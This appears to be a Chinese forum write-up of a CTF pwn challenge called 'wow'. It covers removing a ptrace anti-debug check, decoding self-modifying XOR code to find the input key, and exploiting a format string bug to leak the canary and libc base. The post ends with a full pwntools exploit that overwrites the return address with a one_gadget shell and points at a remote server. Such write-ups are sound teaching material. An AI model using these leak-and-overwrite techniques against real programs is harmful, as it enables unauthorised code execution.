1. 简单的反调试
在函数test()
里面使用sys_ptrace
系统调用进行反调试。
void __cdecl test()
{
unsigned __int64 v0; // r10
signed __int64 v1; // rax
if ( sys_ptrace(0LL, 0LL, 1uLL, v0) < 0 )
v1 = sys_exit(0);
}
只需要在welcome()
函数中patch掉test()
函数的调用即可清除反调试。
自修改代码
.text:0000000000400816
.text:0000000000400818 ; ---------------------------------------------------------------------------
.text:0000000000400818 sar rax, 0Ch
.text:000000000040081C shl rax, 0Ch
.text:0000000000400820 mov rdi, rax
.text:0000000000400823 mov rdx, 7
.text:000000000040082A mov rax, 0Ah
.text:0000000000400831 mov rsi, 1000h
.text:0000000000400838 syscall ; LINUX - sys_mprotect
.text:000000000040083A xor rax, rax
.text:000000000040083D mov rdx, 6 ; size = 6
.text:0000000000400844 push rax
.text:0000000000400845 lea rax, szCh
.text:000000000040084D mov rsi, rax ; buf = szCh
.text:0000000000400850 pop rax
.text:0000000000400851 mov rdi, rax ; fd = 0
.text:0000000000400854 syscall ; LINUX - read
.text:0000000000400856 call $+5
.text:000000000040085B
.text:000000000040085B L0_64:
.text:000000000040085B pop rax
.text:000000000040085C add rax, 24h ; '$'
.text:0000000000400860 xor rcx, rcx
.text:0000000000400863 mov dl, [rsi+rcx]
.text:0000000000400866
.text:0000000000400866 L1_64: ; CODE XREF: .text:0000000000400878↓j
.text:0000000000400866 mov bl, [rax+rcx]
.text:0000000000400869 xor bl, dl
.text:000000000040086B mov [rax+rcx], bl
.text:000000000040086E mov dh, [rax+rcx-1]
.text:0000000000400872 inc rcx
.text:0000000000400875 cmp dh, 0FBh
.text:0000000000400878 jz short L1_64
.text:000000000040087A cmp bl, 90h
.text:000000000040087D jnz short L1_64
.text:000000000040087D ; ---------------------------------------------------------------------------
.text:000000000040087F db 2Dh ; -
.text:0000000000400880 db 0E8h
.text:0000000000400881 db 61h ; a
.text:0000000000400882 db 6Dh ; m
.text:0000000000400883 db 2Dh ; -
.text:0000000000400884 db 48h ; H
.text:0000000000400885 db 0E5h
.text:0000000000400886 db 65h ; e
.text:0000000000400887 db 65h ; e
.text:0000000000400888 db 65h ; e
.text:0000000000400889 db 2Dh ; -
.text:000000000040088A db 54h ; T
.text:000000000040088B db 0ACh
.text:000000000040088C LEn0_64 db 0EFh ; CODE XREF: .text:000000000040089B↓j
.text:000000000040088D db 79h ; y
.text:000000000040088E db 6Dh ; m
在0x400838处,使用sys_mprotect(0x400000, 0x1000, 7)
将一段代码段内存修改为可读、可写、可执行。在0x400854处使用sys_read(0, szCh, 6)
读6个字符,保存到szCh。在L1_64处的循环,使用读入第一个字符对0x40087F处的内存进行异或。
读入的字符是什么,这个不太好判断,试了几个字符后,发现0x00400886处有三个e,就用e试了一下,正好出现了合理的汇编代码。
.text:000000000040087F 48 8D 04 08 lea rax, [rax+rcx]
.text:0000000000400883 48 2D 80 00 00 00 sub rax, 80h
.text:0000000000400889 48 31 C9 xor rcx, rcx
.text:000000000040088C
.text:000000000040088C LEn0_64: ; CODE XREF: .text:000000000040089B↓j
.text:000000000040088C 8A 1C 08 mov bl, [rax+rcx]
.text:000000000040088F 30 D3 xor bl, dl
.text:0000000000400891 88 1C 08 mov [rax+rcx], bl
.text:0000000000400894 48 FF C1 inc rcx
.text:0000000000400897 48 83 F9 20 cmp rcx, 20h ; ' '
.text:000000000040089B 7C EF jl short LEn0_64
.text:000000000040089D 48 05 80 00 00 00 add rax, 80h
.text:00000000004008A3 48 31 C9 xor rcx, rcx
.text:00000000004008A6 8A 14 0E mov dl, [rsi+rcx]
.text:00000000004008A9 48 FF C6 inc rsi
.text:00000000004008AC 32 14 0E xor dl, [rsi+rcx]
.text:00000000004008AF
.text:00000000004008AF L2_64: ; CODE XREF: .text:00000000004008C1↓j
.text:00000000004008AF ; .text:00000000004008C6↓j
.text:00000000004008AF 8A 1C 08 mov bl, [rax+rcx]
.text:00000000004008B2 30 D3 xor bl, dl
.text:00000000004008B4 88 1C 08 mov [rax+rcx], bl
.text:00000000004008B7 8A 74 08 FF mov dh, [rax+rcx-1]
.text:00000000004008BB 48 FF C1 inc rcx
.text:00000000004008BE 80 FE FB cmp dh, 0FBh
.text:00000000004008C1 74 EC jz short L2_64
.text:00000000004008C3 80 FB 90 cmp bl, 90h
.text:00000000004008C6 75 E7 jnz short L2_64
看出第一个字符后,后面的五个字符就好判断了。可以发现一个规律,每段内存被异或后,其第一条指令为lea rax, [rax+rcx]
,从而第一个字节为0x48
。利用这个规律,可以找出后面的五个字符。最后这六个字符为evXnaK
。六个字符正确后,程序会输出wow!\n
。
漏洞利用
泄露信息
.text:0000000000400A30 ; ---------------------------------------------------------------------------
.text:0000000000400A30 xor rax, rax
.text:0000000000400A33
.text:0000000000400A33 loc_400A33: ; CODE XREF: .text:L_J0↑j
.text:0000000000400A33 mov rdx, 1Ah
.text:0000000000400A3A mov rsi, rsp
.text:0000000000400A3D mov ds:lpGoble, rsp
.text:0000000000400A45 mov rdi, rax
.text:0000000000400A48 syscall ; LINUX - read
.text:0000000000400A4A mov rax, cs:lpGoble
.text:0000000000400A51 mov rdi, rax
.text:0000000000400A54 mov eax, 0
.text:0000000000400A59 call _printf
.text:0000000000400A5E xor rax, rax
.text:0000000000400A61 mov rdx, 200h
.text:0000000000400A68 lea rsi, [rsp-20h]
.text:0000000000400A6D mov rdi, rax
.text:0000000000400A70 syscall ; LINUX - sys_read
.text:0000000000400A72 nop
在0x400A48处读入0x1a个字符到rsp处,然后使用读入的字符作为printf的第一个参数,此处有格式化字符串漏洞。利用这个漏洞可以泄露出栈地址、libc的基地址、canary。使用的格式化字符串为'%1$p %13$p %8$s\x00' + p64(0x601028)
,其中0x601028为got表中setbuf函数的地址。
0x400A70处的sys_read
向rsp-20h
读入0x200个字节,用于覆盖main函数的返回地址,劫持执行流程。
覆盖用到的返回地址由one_gadget
获取。
$ one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
exploit
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template
import time
from pwn import *
# Set up pwntools for the correct architecture
context.update(arch='amd64')
context.log_level = 'debug'
exe = './wow'
lib = './libc.so.6'
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote('139.199.99.130', 65188)
else:
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
hbreak *0x400A59
hbreak *0x400794
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
libc = ELF(lib)
libc_setbuf = libc.symbols['setbuf']
log.info('libc_setbuf 0x%x' % libc_setbuf)
io = start()
io.recvuntil('--')
io.recvuntil('***************************')
# max length: 6
io.send('evXnaK')
io.recvuntil('wow!\n')
# max length: 26
# 0x601028: got setbuf
io.send('%1$p %13$p %8$s\x00' + p64(0x601028))
r = io.recv().split(' ')
rsp = int(r[0], 16)
canary = int(r[1], 16)
setbuf = u64(r[2] + '\x00' * 2)
log.info('rsp 0x%x' % rsp)
log.info('canary 0x%x' % canary)
log.info('setbuf 0x%x' % setbuf)
libc_base = setbuf - libc_setbuf
log.info('libc 0x%x' % libc_base)
# 0x45216 find by one_gadget
rop_chain = 0x45216
payload = 'A' * (0x20 + 0x38)
payload += p64(canary)
payload += 'A' * 8
payload += p64(rop_chain + libc_base)
io.send(payload)
io.interactive()
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
最后于 2018-6-20 23:46
被iweizime编辑
,原因: